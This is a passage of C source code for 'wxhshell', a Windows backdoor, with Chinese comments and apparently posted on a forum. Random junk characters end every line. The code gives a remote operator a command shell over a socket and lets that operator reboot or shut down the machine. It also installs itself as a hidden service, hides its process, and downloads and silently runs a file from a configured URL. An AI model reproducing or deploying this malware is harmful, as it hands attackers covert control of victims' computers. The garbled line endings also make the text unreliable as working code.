  I{(!h90  
  // 帮助 IXa~,a H71  
  case '?': { *GE6zGdN  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ekyCZ8iai  
    break; 08nh y[  
  } %BkE %ZcZ  
  // 安装 C+s/KA%  
  case 'i': { )9yQ C  
    if(Install()) X|hYZR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); w CLniCt  
    else M+ %O-B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3/n?g7B  
    break; }/1^Lqfnz  
    } u$%C`v>  
  // 卸载 9S]pC?N]E  
  case 'r': { L!Y|`P#Yr  
    if(Uninstall()) G=17]>U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jD S\  
    else n?r8ZDJ'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $mM"C+dD  
    break; <pb  
    } 2Cp4aTGv#  
  // 显示 wxhshell 所在路径 tB>!1}v  
  case 'p': { | 9S8sfw  
    char svExeFile[MAX_PATH]; ZNw|5u^N  
    strcpy(svExeFile,"\n\r"); n>.@@  
      strcat(svExeFile,ExeFile); i;%G Z8  
        send(wsh,svExeFile,strlen(svExeFile),0); \2y/:  
    break; j13- ?fQ&  
    } j_90iP^5:  
  // 重启 1w7tRw  
  case 'b': { (}X5*BB&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a8T9=KY^  
    if(Boot(REBOOT)) e x Z/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =A6*;T"W  
    else { d {U%q d  
    closesocket(wsh);  ?pEPwc  
    ExitThread(0); 6NV592  
    } -M=BD-_.h  
    break; @~hy'6/  
    } $jh$nMx)!  
  // 关机 Q.B)?wm  
  case 'd': { 1r> ]XhRFZ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~fkcal1@  
    if(Boot(SHUTDOWN)) q#AEu xI1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M(+Pd_c6  
    else { QoxYzln  
    closesocket(wsh); Wd;t(5Xl  
    ExitThread(0); h623)C;  
    } n)5t!  
    break; apm%\dN  
    } m^L!_~  
  // 获取shell :(US um  
  case 's': { WZ ?>F  
    CmdShell(wsh); }TMO>eB'  
    closesocket(wsh); N@PwC(   
    ExitThread(0); p}pRf@(`\  
    break; .S,E=  
  } ,4"N7_!7  
  // 退出 ^?Xs!kJP  
  case 'x': { bxh-#x &  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <1I4JPh>x  
    CloseIt(wsh); f{VV U/$  
    break; |Yw k  
    } "W+>?u)  
  // 离开 `$jun  
  case 'q': { vE(]!CB  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7#j.y f4  
    closesocket(wsh); 7 w,D2T  
    WSACleanup(); hGD@v {/  
    exit(1); *bp09XG  
    break; )e0kr46  
        } P@UE.0NYX  
  } ~ `}),aA  
  } <MJU:m $3  
vai w*?jV  
  // 提示信息 NL:-3W7vf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e4=FO;%  
} xRc+3Z= N  
  } !o`7$`%Wz\  
(^iF)z  
  return; [r"Oi| 8I  
} 3\}u#/Vb  
\9`E17i  
// shell模块句柄 V. i{IW  
int CmdShell(SOCKET sock) &X:;B'   
{ =M-=94  
STARTUPINFO si; F&!vtlV)  
ZeroMemory(&si,sizeof(si)); ]CLM'$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DQK?y=vf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ka!w\v  
PROCESS_INFORMATION ProcessInfo; lv/im/]v  
char cmdline[]="cmd"; X>`03?L  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oQ -m  
  return 0; =cV|o]  
}  b}NNkM  
TO G4=y-N  
// 自身启动模式 ~.3v\Q  
int StartFromService(void) ,&@GxiU  
{ ?l%4 P5  
typedef struct 4F.,Y3  
{ N,lr~ 6)  
  DWORD ExitStatus; C[%Qg=<  
  DWORD PebBaseAddress; LTS{[(%  
  DWORD AffinityMask; QB X EM=  
  DWORD BasePriority; m2^vH+wD  
  ULONG UniqueProcessId; s? ;8h &]=  
  ULONG InheritedFromUniqueProcessId; 5FJLDT2Lg  
}   PROCESS_BASIC_INFORMATION; yfV]f LZ  
V5$ Gb6?K  
PROCNTQSIP NtQueryInformationProcess; 'd Be,@  
 ^cw9Yjh6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8<}=f4vUj5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AJ6l#j-  
Kw"e4 a  
  HANDLE             hProcess; kCEuzd=$V  
  PROCESS_BASIC_INFORMATION pbi; c=+%][21  
\{ | GK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Tk[]l7R~  
  if(NULL == hInst ) return 0; (bv{1 7K  
:@jctH~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wi+Q lf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dQSO8Jf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *K_8=TIA*  
0IqGy}+VU  
  if (!NtQueryInformationProcess) return 0; d6*84'|!  
>6yQuB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =YVxQj  
  if(!hProcess) return 0; D"aK;_W@h  
Htr]_<@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s9"X.-!  
.gfi9J  
  CloseHandle(hProcess); )nf%S+KV  
 Mj1f;$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >)C7IQ/  
if(hProcess==NULL) return 0; PcA^ jBgGl  
& 'i_A%V  
HMODULE hMod; bL* b>R[x  
char procName[255]; Gr\jjf`  
unsigned long cbNeeded; &&l ZUR,`  
xP~GpVhLF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @!oN]0`F;  
@k;65'"Q  
  CloseHandle(hProcess); VD&wO'U  
@yb'h`f]  
if(strstr(procName,"services")) return 1; // 以服务启动 M2ex 3m  
'lE{Nj*7  
  return 0; // 注册表启动 T8\@CV!  
} mK$E&,OkA  
J \|~k2~  
// 主模块 KRlJKd{  
int StartWxhshell(LPSTR lpCmdLine) zqt<[=O  
{ _Ycz@Jn  
  SOCKET wsl; kwUUvF7w  
BOOL val=TRUE; 9Br+]F _i  
  int port=0; g7?[}?]3"p  
  struct sockaddr_in door; 8K 9HFT@yV  
w^8Q~ 3|7  
  if(wscfg.ws_autoins) Install(); 1lIs jBo g  
RQWUO^&e^  
port=atoi(lpCmdLine); B!J?,SB  
U@).jpN  
if(port<=0) port=wscfg.ws_port; _ZavY<6  
!I1p`_(_7  
  WSADATA data; pD[&,gV$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X\!q8KEpR&  
MF.!D;s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -w2^26 ax  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {J1rjrPo  
  door.sin_family = AF_INET; TJRp/BP  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); g zi=+oJ|4  
  door.sin_port = htons(port); xib}E[-l#  
JdI*@b2k[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yn ofDGAf  
closesocket(wsl); uY)4y0  
return 1; 7Fpa%N/WL  
} YIW9z{rrs  
yxx_%9X  
  if(listen(wsl,2) == INVALID_SOCKET) { 4w%hvJ  
closesocket(wsl); Bn 8&~  
return 1; !lzj.|7=1  
} "24d:vf\  
  Wxhshell(wsl); "UD)3_R  
  WSACleanup(); Y<POdbg  
z5({A2q  
return 0; hoBFC1  
l+6@,TY1U  
} 4J,6cOuW4  
Mfz(%F|<  
// 以NT服务方式启动 |mG;?>c)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Z\C"/j<y  
{ a9lYX*:  
DWORD   status = 0; Ke@Bf  
  DWORD   specificError = 0xfffffff; ]b}3f<  
< q(i(%  
  serviceStatus.dwServiceType     = SERVICE_WIN32; exSwx-zxI  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $/Wec,`&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PC@H Nto{  
  serviceStatus.dwWin32ExitCode     = 0; EhO\N\p(Q=  
  serviceStatus.dwServiceSpecificExitCode = 0; pHVDug3  
  serviceStatus.dwCheckPoint       = 0; /oe0  
  serviceStatus.dwWaitHint       = 0; C`Vuw|Xl  
1*9Yy~w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (AA@ sN  
  if (hServiceStatusHandle==0) return; %O%;\t  
n3J,`1*ct  
status = GetLastError(); lbIW1z%:sy  
  if (status!=NO_ERROR) PNLlJlYlP  
{ <F_w4!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }T902RL0  
    serviceStatus.dwCheckPoint       = 0; vQXF$/S  
    serviceStatus.dwWaitHint       = 0; myXGMN$i  
    serviceStatus.dwWin32ExitCode     = status; *URY8 a`bO  
    serviceStatus.dwServiceSpecificExitCode = specificError; eWYet2!Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); yT3K 2A  
    return; >Gg[J=7`  
  } aAoAjVNkK  
;/m>c{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WR.7%U';  
  serviceStatus.dwCheckPoint       = 0; Zq1> M'V;  
  serviceStatus.dwWaitHint       = 0; -$s1k~o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /Y\q&}  
} -{eiV0<^  
7je1vNs  
// 处理NT服务事件,比如:启动、停止 /s)It  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 25, [<Ao  
{ P'_ aNU  
switch(fdwControl) S#+ _HFUK{  
{ .*EP$pc  
case SERVICE_CONTROL_STOP: *X|%H-Q:H`  
  serviceStatus.dwWin32ExitCode = 0; +f]I7e:qp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :1iXBG\  
  serviceStatus.dwCheckPoint   = 0; %iV\nFal>  
  serviceStatus.dwWaitHint     = 0; Q(8W5Fb?  
  { c$A}mL_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e!i.u'z  
  } =|-xj h  
  return; 3kJSz-_M  
case SERVICE_CONTROL_PAUSE: _["97>q  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; qj*BV  
  break; /e*<-a  
case SERVICE_CONTROL_CONTINUE: %ULd_ES^  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "J >, Hr9  
  break; 8^-g yx'  
case SERVICE_CONTROL_INTERROGATE: Dhg/>@tw  
  break; =g@hh)3wP  
}; @iz S_I,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CA"`7<,  
} n |,}   
4P24ySy9F  
// 标准应用程序主函数 r:^`005  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lgAE`Os  
{ =(k0^ #++G  
x~yd/ R  
// 获取操作系统版本 hi]\M)l&x  
OsIsNt=GetOsVer(); 6B?1d /8V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0j/i):@  
~ YZi"u  
  // 从命令行安装 8>:2li  
  if(strpbrk(lpCmdLine,"iI")) Install(); >y q L  
oWOH#w  
  // 下载执行文件 z#&qWO  
if(wscfg.ws_downexe) { \}qv}hU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t;ga>^NA"  
  WinExec(wscfg.ws_filenam,SW_HIDE); s{j3F  
} LyXABQ]  
gwF@'Uu  
if(!OsIsNt) { !lB,2_  
// 如果时win9x,隐藏进程并且设置为注册表启动 q%^gG03.  
HideProc(); }W%}_UT  
StartWxhshell(lpCmdLine); U(qM( E  
} 0$49X  
else a-DE-V Uls  
  if(StartFromService()) :Ws3+OI'm3  
  // 以服务方式启动 3 ?/}  
  StartServiceCtrlDispatcher(DispatchTable); WqU$cQD"  
else 5O%}.}n  
  // 普通方式启动 ~yf5$~Z  
  StartWxhshell(lpCmdLine); 4';['  
AB#hh i#  
return 0; kp;MNRc  
}
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只看该作者 1 发表于: 2006-10-10
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